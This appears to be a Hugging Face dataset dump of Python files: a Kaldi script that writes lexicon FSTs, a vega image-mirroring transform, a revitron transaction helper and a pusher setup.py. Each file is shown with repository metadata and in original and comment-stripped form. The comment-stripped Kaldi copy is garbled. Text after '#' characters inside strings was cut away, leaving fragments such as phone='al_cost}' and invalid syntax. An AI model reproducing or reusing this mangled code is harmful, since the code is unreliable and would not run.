fumiyau/python_no_comments_test100000 · Datasets at Hugging Face

790af2f23140922bac8d9d20a58e89a9cdc76d25

19,129

py

Python

egs/wsj/s5/utils/lang/make_lexicon_fst.py

shuipi100/kaldi

8e30fddb300a87e7c79ef2c0b9c731a8a9fd23f0

[ "Apache-2.0" ]

74

2017-01-10T21:27:24.000Z

2022-03-05T07:30:30.000Z

egs/wsj/s5/utils/lang/make_lexicon_fst.py

shuipi100/kaldi

8e30fddb300a87e7c79ef2c0b9c731a8a9fd23f0

[ "Apache-2.0" ]

55

2020-10-20T02:18:56.000Z

2021-07-26T04:52:23.000Z

egs/wsj/s5/utils/lang/make_lexicon_fst.py

shuipi100/kaldi

8e30fddb300a87e7c79ef2c0b9c731a8a9fd23f0

[ "Apache-2.0" ]

28

2017-01-23T10:49:04.000Z

2022-03-05T07:30:21.000Z

#!/usr/bin/env python3 # Copyright 2018 Johns Hopkins University (author: Daniel Povey) # Apache 2.0. # see get_args() below for usage message. import argparse import os import sys import math import re # The use of latin-1 encoding does not preclude reading utf-8. latin-1 # encoding means "treat words as sequences of bytes", and it is compatible # with utf-8 encoding as well as other encodings such as gbk, as long as the # spaces are also spaces in ascii (which we check). It is basically how we # emulate the behavior of python before python3. sys.stdout = open(1, 'w', encoding='latin-1', closefd=False) sys.stderr = open(2, 'w', encoding='latin-1', closefd=False) def get_args(): parser = argparse.ArgumentParser(description="""This script creates the text form of a lexicon FST, to be compiled by fstcompile using the appropriate symbol tables (phones.txt and words.txt) . It will mostly be invoked indirectly via utils/prepare_lang.sh. The output goes to the stdout.""") parser.add_argument('--sil-phone', dest='sil_phone', type=str, help="""Text form of optional-silence phone, e.g. 'SIL'. See also the --silprob option.""") parser.add_argument('--sil-prob', dest='sil_prob', type=float, default=0.0, help="""Probability of silence between words (including at the beginning and end of word sequences). Must be in the range [0.0, 1.0]. This refers to the optional silence inserted by the lexicon; see the --silphone option.""") parser.add_argument('--sil-disambig', dest='sil_disambig', type=str, help="""Disambiguation symbol to disambiguate silence, e.g. #5. Will only be supplied if you are creating the version of L.fst with disambiguation symbols, intended for use with cyclic G.fst. This symbol was introduced to fix a rather obscure source of nondeterminism of CLG.fst, that has to do with reordering of disambiguation symbols and phone symbols.""") parser.add_argument('--left-context-phones', dest='left_context_phones', type=str, help="""Only relevant if --nonterminals is also supplied; this relates to grammar decoding (see http://kaldi-asr.org/doc/grammar.html or src/doc/grammar.dox). Format is a list of left-context phones, in text form, one per line. E.g. data/lang/phones/left_context_phones.txt""") parser.add_argument('--nonterminals', type=str, help="""If supplied, --left-context-phones must also be supplied. List of user-defined nonterminal symbols such as #nonterm:contact_list, one per line. E.g. data/local/dict/nonterminals.txt.""") parser.add_argument('lexiconp', type=str, help="""Filename of lexicon with pronunciation probabilities (normally lexiconp.txt), with lines of the form 'word prob p1 p2...', e.g. 'a 1.0 ay'""") args = parser.parse_args() return args def read_lexiconp(filename): """Reads the lexiconp.txt file in 'filename', with lines like 'word pron p1 p2 ...'. Returns a list of tuples (word, pron_prob, pron), where 'word' is a string, 'pron_prob', a float, is the pronunciation probability (which must be >0.0 and would normally be <=1.0), and 'pron' is a list of strings representing phones. An element in the returned list might be ('hello', 1.0, ['h', 'eh', 'l', 'ow']). """ ans = [] found_empty_prons = False found_large_pronprobs = False # See the comment near the top of this file, RE why we use latin-1. with open(filename, 'r', encoding='latin-1') as f: whitespace = re.compile("[ \t]+") for line in f: a = whitespace.split(line.strip(" \t\r\n")) if len(a) < 2: print("{0}: error: found bad line '{1}' in lexicon file {2} ".format( sys.argv[0], line.strip(" \t\r\n"), filename), file=sys.stderr) sys.exit(1) word = a[0] if word == "<eps>": # This would clash with the epsilon symbol normally used in OpenFst. print("{0}: error: found <eps> as a word in lexicon file " "{1}".format(line.strip(" \t\r\n"), filename), file=sys.stderr) sys.exit(1) try: pron_prob = float(a[1]) except: print("{0}: error: found bad line '{1}' in lexicon file {2}, 2nd field " "should be pron-prob".format(sys.argv[0], line.strip(" \t\r\n"), filename), file=sys.stderr) sys.exit(1) prons = a[2:] if pron_prob <= 0.0: print("{0}: error: invalid pron-prob in line '{1}' of lexicon file {1} ".format( sys.argv[0], line.strip(" \t\r\n"), filename), file=sys.stderr) sys.exit(1) if len(prons) == 0: found_empty_prons = True ans.append( (word, pron_prob, prons) ) if pron_prob > 1.0: found_large_pronprobs = True if found_empty_prons: print("{0}: warning: found at least one word with an empty pronunciation " "in lexicon file {1}.".format(sys.argv[0], filename), file=sys.stderr) if found_large_pronprobs: print("{0}: warning: found at least one word with pron-prob >1.0 " "in {1}".format(sys.argv[0], filename), file=sys.stderr) if len(ans) == 0: print("{0}: error: found no pronunciations in lexicon file {1}".format( sys.argv[0], filename), file=sys.stderr) sys.exit(1) return ans def write_nonterminal_arcs(start_state, loop_state, next_state, nonterminals, left_context_phones): """This function relates to the grammar-decoding setup, see kaldi-asr.org/doc/grammar.html. It is called from write_fst_no_silence and write_fst_silence, and writes to the stdout some extra arcs in the lexicon FST that relate to nonterminal symbols. See the section "Special symbols in L.fst, kaldi-asr.org/doc/grammar.html#grammar_special_l. start_state: the start-state of L.fst. loop_state: the state of high out-degree in L.fst where words leave and enter. next_state: the number from which this function can start allocating its own states. the updated value of next_state will be returned. nonterminals: the user-defined nonterminal symbols as a list of strings, e.g. ['#nonterm:contact_list', ... ]. left_context_phones: a list of phones that may appear as left-context, e.g. ['a', 'ah', ... '#nonterm_bos']. """ shared_state = next_state next_state += 1 final_state = next_state next_state += 1 print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=start_state, dest=shared_state, phone='#nonterm_begin', word='#nonterm_begin', cost=0.0)) for nonterminal in nonterminals: print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=loop_state, dest=shared_state, phone=nonterminal, word=nonterminal, cost=0.0)) # this_cost equals log(len(left_context_phones)) but the expression below # better captures the meaning. Applying this cost to arcs keeps the FST # stochatic (sum-to-one, like an HMM), so that if we do weight pushing # things won't get weird. In the grammar-FST code when we splice things # together we will cancel out this cost, see the function CombineArcs(). this_cost = -math.log(1.0 / len(left_context_phones)) for left_context_phone in left_context_phones: print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=shared_state, dest=loop_state, phone=left_context_phone, word='<eps>', cost=this_cost)) # arc from loop-state to a final-state with #nonterm_end as ilabel and olabel print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=loop_state, dest=final_state, phone='#nonterm_end', word='#nonterm_end', cost=0.0)) print("{state}\t{final_cost}".format( state=final_state, final_cost=0.0)) return next_state def write_fst_no_silence(lexicon, nonterminals=None, left_context_phones=None): """Writes the text format of L.fst to the standard output. This version is for when --sil-prob=0.0, meaning there is no optional silence allowed. 'lexicon' is a list of 3-tuples (word, pron-prob, prons) as returned by read_lexiconp(). 'nonterminals', which relates to grammar decoding (see kaldi-asr.org/doc/grammar.html), is either None, or the user-defined nonterminal symbols as a list of strings, e.g. ['#nonterm:contact_list', ... ]. 'left_context_phones', which also relates to grammar decoding, and must be supplied if 'nonterminals' is supplied is either None or a list of phones that may appear as left-context, e.g. ['a', 'ah', ... '#nonterm_bos']. """ loop_state = 0 next_state = 1 # the next un-allocated state, will be incremented as we go. for (word, pronprob, pron) in lexicon: cost = -math.log(pronprob) cur_state = loop_state for i in range(len(pron) - 1): print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=cur_state, dest=next_state, phone=pron[i], word=(word if i == 0 else '<eps>'), cost=(cost if i == 0 else 0.0))) cur_state = next_state next_state += 1 i = len(pron) - 1 # note: i == -1 if pron is empty. print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=cur_state, dest=loop_state, phone=(pron[i] if i >= 0 else '<eps>'), word=(word if i <= 0 else '<eps>'), cost=(cost if i <= 0 else 0.0))) if nonterminals is not None: next_state = write_nonterminal_arcs( start_state, loop_state, next_state, nonterminals, left_context_phones) print("{state}\t{final_cost}".format( state=loop_state, final_cost=0.0)) def write_fst_with_silence(lexicon, sil_prob, sil_phone, sil_disambig, nonterminals=None, left_context_phones=None): """Writes the text format of L.fst to the standard output. This version is for when --sil-prob != 0.0, meaning there is optional silence 'lexicon' is a list of 3-tuples (word, pron-prob, prons) as returned by read_lexiconp(). 'sil_prob', which is expected to be strictly between 0.. and 1.0, is the probability of silence 'sil_phone' is the silence phone, e.g. "SIL". 'sil_disambig' is either None, or the silence disambiguation symbol, e.g. "#5". 'nonterminals', which relates to grammar decoding (see kaldi-asr.org/doc/grammar.html), is either None, or the user-defined nonterminal symbols as a list of strings, e.g. ['#nonterm:contact_list', ... ]. 'left_context_phones', which also relates to grammar decoding, and must be supplied if 'nonterminals' is supplied is either None or a list of phones that may appear as left-context, e.g. ['a', 'ah', ... '#nonterm_bos']. """ assert sil_prob > 0.0 and sil_prob < 1.0 sil_cost = -math.log(sil_prob) no_sil_cost = -math.log(1.0 - sil_prob); start_state = 0 loop_state = 1 # words enter and leave from here sil_state = 2 # words terminate here when followed by silence; this state # has a silence transition to loop_state. next_state = 3 # the next un-allocated state, will be incremented as we go. print('{src}\t{dest}\t{phone}\t{word}\t{cost}'.format( src=start_state, dest=loop_state, phone='<eps>', word='<eps>', cost=no_sil_cost)) print('{src}\t{dest}\t{phone}\t{word}\t{cost}'.format( src=start_state, dest=sil_state, phone='<eps>', word='<eps>', cost=sil_cost)) if sil_disambig is None: print('{src}\t{dest}\t{phone}\t{word}\t{cost}'.format( src=sil_state, dest=loop_state, phone=sil_phone, word='<eps>', cost=0.0)) else: sil_disambig_state = next_state next_state += 1 print('{src}\t{dest}\t{phone}\t{word}\t{cost}'.format( src=sil_state, dest=sil_disambig_state, phone=sil_phone, word='<eps>', cost=0.0)) print('{src}\t{dest}\t{phone}\t{word}\t{cost}'.format( src=sil_disambig_state, dest=loop_state, phone=sil_disambig, word='<eps>', cost=0.0)) for (word, pronprob, pron) in lexicon: pron_cost = -math.log(pronprob) cur_state = loop_state for i in range(len(pron) - 1): print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=cur_state, dest=next_state, phone=pron[i], word=(word if i == 0 else '<eps>'), cost=(pron_cost if i == 0 else 0.0))) cur_state = next_state next_state += 1 i = len(pron) - 1 # note: i == -1 if pron is empty. print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=cur_state, dest=loop_state, phone=(pron[i] if i >= 0 else '<eps>'), word=(word if i <= 0 else '<eps>'), cost=no_sil_cost + (pron_cost if i <= 0 else 0.0))) print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=cur_state, dest=sil_state, phone=(pron[i] if i >= 0 else '<eps>'), word=(word if i <= 0 else '<eps>'), cost=sil_cost + (pron_cost if i <= 0 else 0.0))) if nonterminals is not None: next_state = write_nonterminal_arcs( start_state, loop_state, next_state, nonterminals, left_context_phones) print("{state}\t{final_cost}".format( state=loop_state, final_cost=0.0)) def write_words_txt(orig_lines, highest_numbered_symbol, nonterminals, filename): """Writes updated words.txt to 'filename'. 'orig_lines' is the original lines in the words.txt file as a list of strings (without the newlines); highest_numbered_symbol is the highest numbered symbol in the original words.txt; nonterminals is a list of strings like '#nonterm:foo'.""" with open(filename, 'w', encoding='latin-1') as f: for l in orig_lines: print(l, file=f) cur_symbol = highest_numbered_symbol + 1 for n in [ '#nonterm_begin', '#nonterm_end' ] + nonterminals: print("{0} {1}".format(n, cur_symbol), file=f) cur_symbol = cur_symbol + 1 def read_nonterminals(filename): """Reads the user-defined nonterminal symbols in 'filename', checks that it has the expected format and has no duplicates, and returns the nonterminal symbols as a list of strings, e.g. ['#nonterm:contact_list', '#nonterm:phone_number', ... ]. """ ans = [line.strip(" \t\r\n") for line in open(filename, 'r', encoding='latin-1')] if len(ans) == 0: raise RuntimeError("The file {0} contains no nonterminals symbols.".format(filename)) for nonterm in ans: if nonterm[:9] != '#nonterm:': raise RuntimeError("In file '{0}', expected nonterminal symbols to start with '#nonterm:', found '{1}'" .format(filename, nonterm)) if len(set(ans)) != len(ans): raise RuntimeError("Duplicate nonterminal symbols are present in file {0}".format(filename)) return ans def read_left_context_phones(filename): """Reads, checks, and returns a list of left-context phones, in text form, one per line. Returns a list of strings, e.g. ['a', 'ah', ..., '#nonterm_bos' ]""" ans = [line.strip(" \t\r\n") for line in open(filename, 'r', encoding='latin-1')] if len(ans) == 0: raise RuntimeError("The file {0} contains no left-context phones.".format(filename)) whitespace = re.compile("[ \t]+") for s in ans: if len(whitespace.split(s)) != 1: raise RuntimeError("The file {0} contains an invalid line '{1}'".format(filename, s) ) if len(set(ans)) != len(ans): raise RuntimeError("Duplicate nonterminal symbols are present in file {0}".format(filename)) return ans def is_token(s): """Returns true if s is a string and is space-free.""" if not isinstance(s, str): return False whitespace = re.compile("[ \t\r\n]+") split_str = whitespace.split(s); return len(split_str) == 1 and s == split_str[0] def main(): args = get_args() lexicon = read_lexiconp(args.lexiconp) if args.nonterminals is None: nonterminals, left_context_phones = None, None else: if args.left_context_phones is None: print("{0}: if --nonterminals is specified, --left-context-phones must also " "be specified".format(sys.argv[0])) sys.exit(1) nonterminals = read_nonterminals(args.nonterminals) left_context_phones = read_left_context_phones(args.left_context_phones) if args.sil_prob == 0.0: write_fst_no_silence(lexicon, nonterminals=nonterminals, left_context_phones=left_context_phones) else: # Do some checking that the options make sense. if args.sil_prob < 0.0 or args.sil_prob >= 1.0: print("{0}: invalid value specified --sil-prob={1}".format( sys.argv[0], args.sil_prob), file=sys.stderr) sys.exit(1) if not is_token(args.sil_phone): print("{0}: you specified --sil-prob={1} but --sil-phone is set " "to '{2}'".format(sys.argv[0], args.sil_prob, args.sil_phone), file=sys.stderr) sys.exit(1) if args.sil_disambig is not None and not is_token(args.sil_disambig): print("{0}: invalid value --sil-disambig='{1}' was specified." "".format(sys.argv[0], args.sil_disambig), file=sys.stderr) sys.exit(1) write_fst_with_silence(lexicon, args.sil_prob, args.sil_phone, args.sil_disambig, nonterminals=nonterminals, left_context_phones=left_context_phones) # (lines, highest_symbol) = read_words_txt(args.input_words_txt) # nonterminals = read_nonterminals(args.nonterminal_symbols_list) # write_words_txt(lines, highest_symbol, nonterminals, args.output_words_txt) if __name__ == '__main__': main()

46.429612

115

0.603429

import argparse import os import sys import math import re sys.stdout = open(1, 'w', encoding='latin-1', closefd=False) sys.stderr = open(2, 'w', encoding='latin-1', closefd=False) def get_args(): parser = argparse.ArgumentParser(description="""This script creates the text form of a lexicon FST, to be compiled by fstcompile using the appropriate symbol tables (phones.txt and words.txt) . It will mostly be invoked indirectly via utils/prepare_lang.sh. The output goes to the stdout.""") parser.add_argument('--sil-phone', dest='sil_phone', type=str, help="""Text form of optional-silence phone, e.g. 'SIL'. See also the --silprob option.""") parser.add_argument('--sil-prob', dest='sil_prob', type=float, default=0.0, help="""Probability of silence between words (including at the beginning and end of word sequences). Must be in the range [0.0, 1.0]. This refers to the optional silence inserted by the lexicon; see the --silphone option.""") parser.add_argument('--sil-disambig', dest='sil_disambig', type=str, help="""Disambiguation symbol to disambiguate silence, e.g. #5. Will only be supplied if you are creating the version of L.fst with disambiguation symbols, intended for use with cyclic G.fst. This symbol was introduced to fix a rather obscure source of nondeterminism of CLG.fst, that has to do with reordering of disambiguation symbols and phone symbols.""") parser.add_argument('--left-context-phones', dest='left_context_phones', type=str, help="""Only relevant if --nonterminals is also supplied; this relates to grammar decoding (see http://kaldi-asr.org/doc/grammar.html or src/doc/grammar.dox). Format is a list of left-context phones, in text form, one per line. E.g. data/lang/phones/left_context_phones.txt""") parser.add_argument('--nonterminals', type=str, help="""If supplied, --left-context-phones must also be supplied. List of user-defined nonterminal symbols such as #nonterm:contact_list, one per line. E.g. data/local/dict/nonterminals.txt.""") parser.add_argument('lexiconp', type=str, help="""Filename of lexicon with pronunciation probabilities (normally lexiconp.txt), with lines of the form 'word prob p1 p2...', e.g. 'a 1.0 ay'""") args = parser.parse_args() return args def read_lexiconp(filename): ans = [] found_empty_prons = False found_large_pronprobs = False with open(filename, 'r', encoding='latin-1') as f: whitespace = re.compile("[ \t]+") for line in f: a = whitespace.split(line.strip(" \t\r\n")) if len(a) < 2: print("{0}: error: found bad line '{1}' in lexicon file {2} ".format( sys.argv[0], line.strip(" \t\r\n"), filename), file=sys.stderr) sys.exit(1) word = a[0] if word == "<eps>": print("{0}: error: found <eps> as a word in lexicon file " "{1}".format(line.strip(" \t\r\n"), filename), file=sys.stderr) sys.exit(1) try: pron_prob = float(a[1]) except: print("{0}: error: found bad line '{1}' in lexicon file {2}, 2nd field " "should be pron-prob".format(sys.argv[0], line.strip(" \t\r\n"), filename), file=sys.stderr) sys.exit(1) prons = a[2:] if pron_prob <= 0.0: print("{0}: error: invalid pron-prob in line '{1}' of lexicon file {1} ".format( sys.argv[0], line.strip(" \t\r\n"), filename), file=sys.stderr) sys.exit(1) if len(prons) == 0: found_empty_prons = True ans.append( (word, pron_prob, prons) ) if pron_prob > 1.0: found_large_pronprobs = True if found_empty_prons: print("{0}: warning: found at least one word with an empty pronunciation " "in lexicon file {1}.".format(sys.argv[0], filename), file=sys.stderr) if found_large_pronprobs: print("{0}: warning: found at least one word with pron-prob >1.0 " "in {1}".format(sys.argv[0], filename), file=sys.stderr) if len(ans) == 0: print("{0}: error: found no pronunciations in lexicon file {1}".format( sys.argv[0], filename), file=sys.stderr) sys.exit(1) return ans def write_nonterminal_arcs(start_state, loop_state, next_state, nonterminals, left_context_phones): shared_state = next_state next_state += 1 final_state = next_state next_state += 1 print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=start_state, dest=shared_state, phone='#nonterm_begin', word='#nonterm_begin', cost=0.0)) for nonterminal in nonterminals: print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=loop_state, dest=shared_state, phone=nonterminal, word=nonterminal, cost=0.0)) # together we will cancel out this cost, see the function CombineArcs(). this_cost = -math.log(1.0 / len(left_context_phones)) for left_context_phone in left_context_phones: print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=shared_state, dest=loop_state, phone=left_context_phone, word='<eps>', cost=this_cost)) # arc from loop-state to a final-state with #nonterm_end as ilabel and olabel print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=loop_state, dest=final_state, phone='al_cost}".format( state=final_state, final_cost=0.0)) return next_state def write_fst_no_silence(lexicon, nonterminals=None, left_context_phones=None): loop_state = 0 next_state = 1 # the next un-allocated state, will be incremented as we go. for (word, pronprob, pron) in lexicon: cost = -math.log(pronprob) cur_state = loop_state for i in range(len(pron) - 1): print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=cur_state, dest=next_state, phone=pron[i], word=(word if i == 0 else '<eps>'), cost=(cost if i == 0 else 0.0))) cur_state = next_state next_state += 1 i = len(pron) - 1 # note: i == -1 if pron is empty. print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=cur_state, dest=loop_state, phone=(pron[i] if i >= 0 else '<eps>'), word=(word if i <= 0 else '<eps>'), cost=(cost if i <= 0 else 0.0))) if nonterminals is not None: next_state = write_nonterminal_arcs( start_state, loop_state, next_state, nonterminals, left_context_phones) print("{state}\t{final_cost}".format( state=loop_state, final_cost=0.0)) def write_fst_with_silence(lexicon, sil_prob, sil_phone, sil_disambig, nonterminals=None, left_context_phones=None): assert sil_prob > 0.0 and sil_prob < 1.0 sil_cost = -math.log(sil_prob) no_sil_cost = -math.log(1.0 - sil_prob); start_state = 0 loop_state = 1 # words enter and leave from here sil_state = 2 # words terminate here when followed by silence; this state # has a silence transition to loop_state. next_state = 3 # the next un-allocated state, will be incremented as we go. print('{src}\t{dest}\t{phone}\t{word}\t{cost}'.format( src=start_state, dest=loop_state, phone='<eps>', word='<eps>', cost=no_sil_cost)) print('{src}\t{dest}\t{phone}\t{word}\t{cost}'.format( src=start_state, dest=sil_state, phone='<eps>', word='<eps>', cost=sil_cost)) if sil_disambig is None: print('{src}\t{dest}\t{phone}\t{word}\t{cost}'.format( src=sil_state, dest=loop_state, phone=sil_phone, word='<eps>', cost=0.0)) else: sil_disambig_state = next_state next_state += 1 print('{src}\t{dest}\t{phone}\t{word}\t{cost}'.format( src=sil_state, dest=sil_disambig_state, phone=sil_phone, word='<eps>', cost=0.0)) print('{src}\t{dest}\t{phone}\t{word}\t{cost}'.format( src=sil_disambig_state, dest=loop_state, phone=sil_disambig, word='<eps>', cost=0.0)) for (word, pronprob, pron) in lexicon: pron_cost = -math.log(pronprob) cur_state = loop_state for i in range(len(pron) - 1): print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=cur_state, dest=next_state, phone=pron[i], word=(word if i == 0 else '<eps>'), cost=(pron_cost if i == 0 else 0.0))) cur_state = next_state next_state += 1 i = len(pron) - 1 # note: i == -1 if pron is empty. print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=cur_state, dest=loop_state, phone=(pron[i] if i >= 0 else '<eps>'), word=(word if i <= 0 else '<eps>'), cost=no_sil_cost + (pron_cost if i <= 0 else 0.0))) print("{src}\t{dest}\t{phone}\t{word}\t{cost}".format( src=cur_state, dest=sil_state, phone=(pron[i] if i >= 0 else '<eps>'), word=(word if i <= 0 else '<eps>'), cost=sil_cost + (pron_cost if i <= 0 else 0.0))) if nonterminals is not None: next_state = write_nonterminal_arcs( start_state, loop_state, next_state, nonterminals, left_context_phones) print("{state}\t{final_cost}".format( state=loop_state, final_cost=0.0)) def write_words_txt(orig_lines, highest_numbered_symbol, nonterminals, filename): with open(filename, 'w', encoding='latin-1') as f: for l in orig_lines: print(l, file=f) cur_symbol = highest_numbered_symbol + 1 for n in [ 'rmat(n, cur_symbol), file=f) cur_symbol = cur_symbol + 1 def read_nonterminals(filename): ans = [line.strip(" \t\r\n") for line in open(filename, 'r', encoding='latin-1')] if len(ans) == 0: raise RuntimeError("The file {0} contains no nonterminals symbols.".format(filename)) for nonterm in ans: if nonterm[:9] != ' raise RuntimeError("In file '{0}', expected nonterminal symbols to start with '#nonterm:', found '{1}'" .format(filename, nonterm)) if len(set(ans)) != len(ans): raise RuntimeError("Duplicate nonterminal symbols are present in file {0}".format(filename)) return ans def read_left_context_phones(filename): ans = [line.strip(" \t\r\n") for line in open(filename, 'r', encoding='latin-1')] if len(ans) == 0: raise RuntimeError("The file {0} contains no left-context phones.".format(filename)) whitespace = re.compile("[ \t]+") for s in ans: if len(whitespace.split(s)) != 1: raise RuntimeError("The file {0} contains an invalid line '{1}'".format(filename, s) ) if len(set(ans)) != len(ans): raise RuntimeError("Duplicate nonterminal symbols are present in file {0}".format(filename)) return ans def is_token(s): if not isinstance(s, str): return False whitespace = re.compile("[ \t\r\n]+") split_str = whitespace.split(s); return len(split_str) == 1 and s == split_str[0] def main(): args = get_args() lexicon = read_lexiconp(args.lexiconp) if args.nonterminals is None: nonterminals, left_context_phones = None, None else: if args.left_context_phones is None: print("{0}: if --nonterminals is specified, --left-context-phones must also " "be specified".format(sys.argv[0])) sys.exit(1) nonterminals = read_nonterminals(args.nonterminals) left_context_phones = read_left_context_phones(args.left_context_phones) if args.sil_prob == 0.0: write_fst_no_silence(lexicon, nonterminals=nonterminals, left_context_phones=left_context_phones) else: # Do some checking that the options make sense. if args.sil_prob < 0.0 or args.sil_prob >= 1.0: print("{0}: invalid value specified --sil-prob={1}".format( sys.argv[0], args.sil_prob), file=sys.stderr) sys.exit(1) if not is_token(args.sil_phone): print("{0}: you specified --sil-prob={1} but --sil-phone is set " "to '{2}'".format(sys.argv[0], args.sil_prob, args.sil_phone), file=sys.stderr) sys.exit(1) if args.sil_disambig is not None and not is_token(args.sil_disambig): print("{0}: invalid value --sil-disambig='{1}' was specified." "".format(sys.argv[0], args.sil_disambig), file=sys.stderr) sys.exit(1) write_fst_with_silence(lexicon, args.sil_prob, args.sil_phone, args.sil_disambig, nonterminals=nonterminals, left_context_phones=left_context_phones) # (lines, highest_symbol) = read_words_txt(args.input_words_txt) # nonterminals = read_nonterminals(args.nonterminal_symbols_list) # write_words_txt(lines, highest_symbol, nonterminals, args.output_words_txt) if __name__ == '__main__': main()

true

790af397daafc9c5a23868ff8a12ad7ae0b28ccd

1,710

py

Python

vega/datasets/transforms/RandomMirrow_pair.py

jie311/vega

1bba6100ead802697e691403b951e6652a99ccae

[ "MIT" ]

724

2020-06-22T12:05:30.000Z

2022-03-31T07:10:54.000Z

vega/datasets/transforms/RandomMirrow_pair.py

jie311/vega

1bba6100ead802697e691403b951e6652a99ccae

[ "MIT" ]

147

2020-06-30T13:34:46.000Z

2022-03-29T11:30:17.000Z

vega/datasets/transforms/RandomMirrow_pair.py

jie311/vega

1bba6100ead802697e691403b951e6652a99ccae

[ "MIT" ]

160

2020-06-29T18:27:58.000Z

2022-03-23T08:42:21.000Z

# -*- coding: utf-8 -*- # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # This program is free software; you can redistribute it and/or modify # it under the terms of the MIT License. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # MIT License for more details. """This is a class for RandomMirrow_pair.""" import numpy as np from vega.common import ClassFactory, ClassType @ClassFactory.register(ClassType.TRANSFORM) class RandomMirrow_pair(object): """Random mirrow two related image.""" def __call__(self, image, label): """Call function of RandomMirrow_pair. :param image: usually the feature image, for example, the LR image for super solution dataset, the initial image for the segmentation dataset, and etc :type image: PIL image :param label: usually the label image, for example, the HR image for super solution dataset, the mask image for the segmentation dataset, and etc :type lebel: PIL image :return: the image after transform :rtype: list, erery item is a PIL image, the first one is feature image, the second is label image """ flip = np.random.choice(2) * 2 - 1 channels_image = image.shape[-1] channels_label = label.shape[-1] if channels_image == 3: image = image[:, :, ::flip] else: image = image[:, ::flip] if channels_label == 3: label = label[:, :, ::flip] else: label = label[:, ::flip] return image, label

38.863636

106

0.65731

import numpy as np from vega.common import ClassFactory, ClassType @ClassFactory.register(ClassType.TRANSFORM) class RandomMirrow_pair(object): def __call__(self, image, label): flip = np.random.choice(2) * 2 - 1 channels_image = image.shape[-1] channels_label = label.shape[-1] if channels_image == 3: image = image[:, :, ::flip] else: image = image[:, ::flip] if channels_label == 3: label = label[:, :, ::flip] else: label = label[:, ::flip] return image, label

true

790af5bb0ce3b02e55df6524c2c36c1ba99bae7f

853

py

Python

revitron/transaction.py

YKato521/revitron-for-RevitPythonShell

031a87997a00902bf16ca9ef6bb05f5cae26e044

[ "MIT" ]

null

revitron/transaction.py

YKato521/revitron-for-RevitPythonShell

031a87997a00902bf16ca9ef6bb05f5cae26e044

[ "MIT" ]

null

revitron/transaction.py

YKato521/revitron-for-RevitPythonShell

031a87997a00902bf16ca9ef6bb05f5cae26e044

[ "MIT" ]

null

""" The ``transaction`` submodule contains a wrapper class to simplify the usage of transactions:: t = revitron.Transaction() ... t.close() """ # from pyrevit import script class Transaction: """ A transaction helper class. """ def __init__(self): """ Inits a new transaction. """ import revitron bundle = script.get_bundle_name().replace('.pushbutton', '') self.transaction = revitron.DB.Transaction(revitron.DOC, bundle) self.transaction.Start() def commit(self): """ Commits the open transaction. """ self.transaction.Commit() def rollback(self): """ Rolls back the open transaction. """ self.transaction.RollBack()

21.325

95

0.532239

class Transaction: def __init__(self): import revitron bundle = script.get_bundle_name().replace('.pushbutton', '') self.transaction = revitron.DB.Transaction(revitron.DOC, bundle) self.transaction.Start() def commit(self): self.transaction.Commit() def rollback(self): self.transaction.RollBack()

true

790af5c1ffd0a46710ca769801ece6193ae64d0f

576

py

Python

setup.py

tkhieu/pusher_client_python

2af2ceee06daf5b95eed2833760143ebe5b91946

[ "MIT" ]

null

setup.py

tkhieu/pusher_client_python

2af2ceee06daf5b95eed2833760143ebe5b91946

[ "MIT" ]

null

setup.py

tkhieu/pusher_client_python

2af2ceee06daf5b95eed2833760143ebe5b91946

[ "MIT" ]

null

from setuptools import setup setup( name='pusher', version='0.8', description='A Python library for sending messages to Pusher', author='Pusher', author_email='support@pusher.com', url='http://pusher.com', packages=['pusher'], classifiers=[ "License :: OSI Approved :: MIT License", "Programming Language :: Python", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "Topic :: Internet :: WWW/HTTP", ], keywords='pusher rest realtime websockets service', license='MIT', )

27.428571

66

0.616319

from setuptools import setup setup( name='pusher', version='0.8', description='A Python library for sending messages to Pusher', author='Pusher', author_email='support@pusher.com', url='http://pusher.com', packages=['pusher'], classifiers=[ "License :: OSI Approved :: MIT License", "Programming Language :: Python", "Development Status :: 4 - Beta", "Intended Audience :: Developers", "Topic :: Internet :: WWW/HTTP", ], keywords='pusher rest realtime websockets service', license='MIT', )

true

790af7237a25c95231de99572d94e2ea9aacf918

10,878

py

Python

7. Using Reward for Agent/reward_agent.py

Yudonggeun/PySC2-Tutorial

80449c3b5774a58e8ee6490379890e9abd60a11a

[ "Apache-2.0" ]

2

2018-11-13T14:17:47.000Z

2018-11-14T12:37:20.000Z

7. Using Reward for Agent/reward_agent.py

Tao-Chengyang/PySC2-Tutorial

80449c3b5774a58e8ee6490379890e9abd60a11a

[ "Apache-2.0" ]

null

7. Using Reward for Agent/reward_agent.py

Tao-Chengyang/PySC2-Tutorial

80449c3b5774a58e8ee6490379890e9abd60a11a

[ "Apache-2.0" ]

1

2019-09-02T08:15:43.000Z

